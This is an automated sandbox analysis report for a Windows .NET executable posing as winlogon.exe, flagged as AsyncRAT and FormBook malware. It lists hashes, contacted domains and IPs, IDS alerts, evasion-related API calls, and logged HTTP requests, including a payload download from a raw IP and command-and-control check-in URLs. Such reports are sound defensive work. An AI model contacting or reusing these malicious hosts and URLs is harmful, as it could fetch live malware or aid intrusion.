Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 20, 2022, 1:16 p.m.	May 20, 2022, 1:49 p.m.

Size	190.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`738a9b03dcbc5baddebe69e14fce6a53`
SHA256	`89c4a19369477672f668b5961ad8a155f0ab53a00d2a241ac97706ade069e064`
CRC32	`C689A1D7`
ssdeep	`1536:Tl+iYwFlKV5XYn/2UvmNbMwqPljdSvtge+EUc8Ie1OFyhfWOf5V+WVoN58cJvPLY:HFlqg2rOwqRfbFyeY7wvBTN`
Yara	IsPE32 - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature

winlogon.exe "C:\Users\test22\AppData\Local\Temp\winlogon.exe"
2800
- winlogon.exe C:\Users\test22\AppData\Local\Temp\winlogon.exe
  2992

Name	Response	Post-Analysis Lookup
www.fieldingsoundworks.com	A 104.21.72.32 A 172.67.174.103	172.67.174.103
www.shopdealzen.com	CNAME shopdealzen.com A 192.185.48.224	192.185.48.224
www.brighteningyourskin.com	A 45.143.81.76 CNAME brighteningyourskin.com	45.143.81.76
www.dcsmj.com	CNAME dcsmj.com A 216.10.245.123	216.10.245.123
www.sawarita.com	CNAME shops.myfunpinpin.com A 104.18.26.58 A 104.18.27.58	104.18.27.58
www.simplythaliachicago.com	A 199.59.243.200	199.59.243.200
www.europeflyscreen.com	CNAME europeflyscreen.com A 45.84.191.3	45.84.191.3
www.moix.xyz	A 104.21.50.87 A 172.67.159.159	104.21.50.87
www.mingwwww.store	CNAME mingwwww.store A 15.197.142.173 A 3.33.152.147	3.33.152.147
www.notvaccinatedjobs.com	CNAME notvaccinatedjobs.com A 54.176.36.242	54.176.36.242
www.triple16.com
www.programadoranoah.space	CNAME programadoranoah.space A 54.39.107.28	54.39.107.28
www.stemgen.institute	CNAME stemgen.institute A 34.102.136.180	34.102.136.180
www.areahomes-changedbysupport.com	CNAME areahomes-changedbysupport.com A 34.102.136.180	34.102.136.180

IP Address	Status	Action
104.18.26.58	Active	Moloch
104.21.50.87	Active	Moloch
104.21.72.32	Active	Moloch
15.197.142.173	Active	Moloch
164.124.101.2	Active	Moloch
192.185.48.224	Active	Moloch
193.142.59.104	Active	Moloch
199.59.243.200	Active	Moloch
216.10.245.123	Active	Moloch
34.102.136.180	Active	Moloch
45.143.81.76	Active	Moloch
45.84.191.3	Active	Moloch
54.176.36.242	Active	Moloch
54.39.107.28	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49162 -> 193.142.59.104:80	2030384	ET HUNTING Suspicious Terse Request for .bmp	Potentially Bad Traffic
TCP 192.168.56.101:49170 -> 216.10.245.123:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 216.10.245.123:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 216.10.245.123:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 45.143.81.76:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 45.143.81.76:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 45.143.81.76:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 199.59.243.200:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 104.18.26.58:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 199.59.243.200:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 104.18.26.58:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 199.59.243.200:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 104.18.26.58:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 45.84.191.3:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 45.84.191.3:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 45.84.191.3:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 104.21.72.32:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 104.21.72.32:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 104.21.72.32:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 192.185.48.224:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 192.185.48.224:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 192.185.48.224:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 15.197.142.173:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 15.197.142.173:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 15.197.142.173:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 104.21.50.87:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 104.21.50.87:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 104.21.50.87:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 104.21.50.87:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic
TCP 192.168.56.101:49172 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 54.39.107.28:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 54.39.107.28:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 54.39.107.28:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW May 20, 2022, 1:16 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 20, 2022, 1:16 p.m.			0	0
IsDebuggerPresent May 20, 2022, 1:16 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey May 20, 2022, 1:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0081e8c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0081e8c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0081e800 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 20, 2022, 1:16 p.m.		1	1	0

One or more processes crashed (5 events)

Time & API	Arguments	Status
__exception__ May 20, 2022, 1:16 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72fe1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72eb2ba1 mscorlib+0x9f1b69 @ 0x72861b69 mscorlib+0x9f1f6a @ 0x72861f6a 0x5702f0 0x570097 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x760cb727 registers.esp: 4517292 registers.edi: 0 registers.eax: 4517292 registers.ebp: 4517372 registers.edx: 0 registers.ebx: 8939392 registers.esi: 8482640 registers.ecx: 2115785606	1
__exception__ May 20, 2022, 1:16 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72fe1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72eb2ba1 mscorlib+0xb7da9f @ 0x729eda9f 0x57043e 0x57037f 0x570335 0x570097 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x760cb727 registers.esp: 4517252 registers.edi: 0 registers.eax: 4517252 registers.ebp: 4517332 registers.edx: 0 registers.ebx: 8939392 registers.esi: 8482640 registers.ecx: 2115785694	1
__exception__ May 20, 2022, 1:16 p.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x499bc50 0x499a948 0x4998994 0x4998242 0x5717ef DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0x570144 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 4514556 registers.edi: 1980555208 registers.eax: 16777216 registers.ebp: 4514760 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1
__exception__ May 20, 2022, 1:16 p.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x499bc50 0x499a948 0x4998994 0x4998242 0x5717ef DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0x570144 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 4514556 registers.edi: 1980555208 registers.eax: 4194304 registers.ebp: 4514760 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1
__exception__ May 20, 2022, 1:16 p.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x499bc50 0x499a948 0x4998994 0x4998242 0x5717ef DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d 0x570144 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 4514556 registers.edi: 1980555208 registers.eax: 2818048 registers.ebp: 4514760 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (13 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.142.59.104/swift/Ouqqekub_Lbtpkxss.bmp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.brighteningyourskin.com/s2q8/?Jt7=vhliLhO/dqx08b5cWZU1oq3h9sWK0oUNqBQamMD4qIRLp3lcXXba9XHYv2Ezr/rdNCFOiv/u&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.sawarita.com/s2q8/?Jt7=o7goVAelaelLa+jQzG8g34+b40hpRuBfNTFs1SHuFZBBSPY+kIWXVGn4B4OeEp93ZyP+7NKx&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.moix.xyz/s2q8/?Jt7=iMfOVp+CWPRseQRjA54xUJz8VmkKFLOPm/t0xboKogYnq/43+Ej8DVAR6i9ILWXuzh0YUVhN&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.areahomes-changedbysupport.com/s2q8/?Jt7=M3PgzST1q+IOS1jBKmjaXkrnquYUSI11nRevrrV774TIKKqxKvjUHWecSNslA5Kmp5O3iMv0&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.dcsmj.com/s2q8/?Jt7=zTBrOdebNVyoJmV8qLIC4aJyUa8owuSzT0MvO4yZZYWbVIjXN3oVoTl3t1dXyYnPQj4VlMPl&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.europeflyscreen.com/s2q8/?Jt7=RUBn0IKXK/bJijRmoANa1g1SkjxEQXbWFaeyosCSz41433MKx1WZF5Ie08sbNPZtEPIP/SJ7&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.stemgen.institute/s2q8/?Jt7=HyC7uMwNg7Ze8JIhOYzu/TCf4RnljdHWr5//omzf/hddN/C63sR6rzd7b2yd1o2B0d/ItMI/&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.fieldingsoundworks.com/s2q8/?Jt7=Q/Ke9U6C+DcYZ9UgQgKup97JYcoOkFYe7Vgyn4alCfwhrs+ftOlf3J2pyZpKI7/DZwybk1XC&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.shopdealzen.com/s2q8/?Jt7=EmRDD+F4MFxd1ezA/CmCvgQ9Dq8cRmTd4LoUHPGIQKM+9HxusbG1+vBkOyrekrhOHSjdQRyV&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.simplythaliachicago.com/s2q8/?Jt7=+VcbARHkLN/IGhY/WI05DmV8X7omBI6+JDFKo2LvUoVxV6cfC3GZOedBJ1uv54GtY0ajnZMn&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.programadoranoah.space/s2q8/?Jt7=h89cEhKb39NBpoGl3C7TXwtruQbe0OzHhfZ4Ek+GY2Bi2GfMPzwTIYz5r2Kr6BOwndQS7qHT&EHU40X=gbTpoN4xgh
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.mingwwww.store/s2q8/?Jt7=dyDkaBNPto8iM8ENJ3PwlyDHZBxL+KYWJHiU4myTUI6LWGiHD2ssNxAkq+ERShEOByXe/913&EHU40X=gbTpoN4xgh

Performs some HTTP requests (13 events)

request	GET http://193.142.59.104/swift/Ouqqekub_Lbtpkxss.bmp
request	GET http://www.brighteningyourskin.com/s2q8/?Jt7=vhliLhO/dqx08b5cWZU1oq3h9sWK0oUNqBQamMD4qIRLp3lcXXba9XHYv2Ezr/rdNCFOiv/u&EHU40X=gbTpoN4xgh
request	GET http://www.sawarita.com/s2q8/?Jt7=o7goVAelaelLa+jQzG8g34+b40hpRuBfNTFs1SHuFZBBSPY+kIWXVGn4B4OeEp93ZyP+7NKx&EHU40X=gbTpoN4xgh
request	GET http://www.moix.xyz/s2q8/?Jt7=iMfOVp+CWPRseQRjA54xUJz8VmkKFLOPm/t0xboKogYnq/43+Ej8DVAR6i9ILWXuzh0YUVhN&EHU40X=gbTpoN4xgh
request	GET http://www.areahomes-changedbysupport.com/s2q8/?Jt7=M3PgzST1q+IOS1jBKmjaXkrnquYUSI11nRevrrV774TIKKqxKvjUHWecSNslA5Kmp5O3iMv0&EHU40X=gbTpoN4xgh
request	GET http://www.dcsmj.com/s2q8/?Jt7=zTBrOdebNVyoJmV8qLIC4aJyUa8owuSzT0MvO4yZZYWbVIjXN3oVoTl3t1dXyYnPQj4VlMPl&EHU40X=gbTpoN4xgh
request	GET http://www.europeflyscreen.com/s2q8/?Jt7=RUBn0IKXK/bJijRmoANa1g1SkjxEQXbWFaeyosCSz41433MKx1WZF5Ie08sbNPZtEPIP/SJ7&EHU40X=gbTpoN4xgh
request	GET http://www.stemgen.institute/s2q8/?Jt7=HyC7uMwNg7Ze8JIhOYzu/TCf4RnljdHWr5//omzf/hddN/C63sR6rzd7b2yd1o2B0d/ItMI/&EHU40X=gbTpoN4xgh
request	GET http://www.fieldingsoundworks.com/s2q8/?Jt7=Q/Ke9U6C+DcYZ9UgQgKup97JYcoOkFYe7Vgyn4alCfwhrs+ftOlf3J2pyZpKI7/DZwybk1XC&EHU40X=gbTpoN4xgh
request	GET http://www.shopdealzen.com/s2q8/?Jt7=EmRDD+F4MFxd1ezA/CmCvgQ9Dq8cRmTd4LoUHPGIQKM+9HxusbG1+vBkOyrekrhOHSjdQRyV&EHU40X=gbTpoN4xgh
request	GET http://www.simplythaliachicago.com/s2q8/?Jt7=+VcbARHkLN/IGhY/WI05DmV8X7omBI6+JDFKo2LvUoVxV6cfC3GZOedBJ1uv54GtY0ajnZMn&EHU40X=gbTpoN4xgh
request	GET http://www.programadoranoah.space/s2q8/?Jt7=h89cEhKb39NBpoGl3C7TXwtruQbe0OzHhfZ4Ek+GY2Bi2GfMPzwTIYz5r2Kr6BOwndQS7qHT&EHU40X=gbTpoN4xgh
request	GET http://www.mingwwww.store/s2q8/?Jt7=dyDkaBNPto8iM8ENJ3PwlyDHZBxL+KYWJHiU4myTUI6LWGiHD2ssNxAkq+ERShEOByXe/913&EHU40X=gbTpoN4xgh

Allocates read-write-execute memory (usually to unpack itself) (50 out of 54 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00300000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e32000 process_handle: 0xffffffff	1
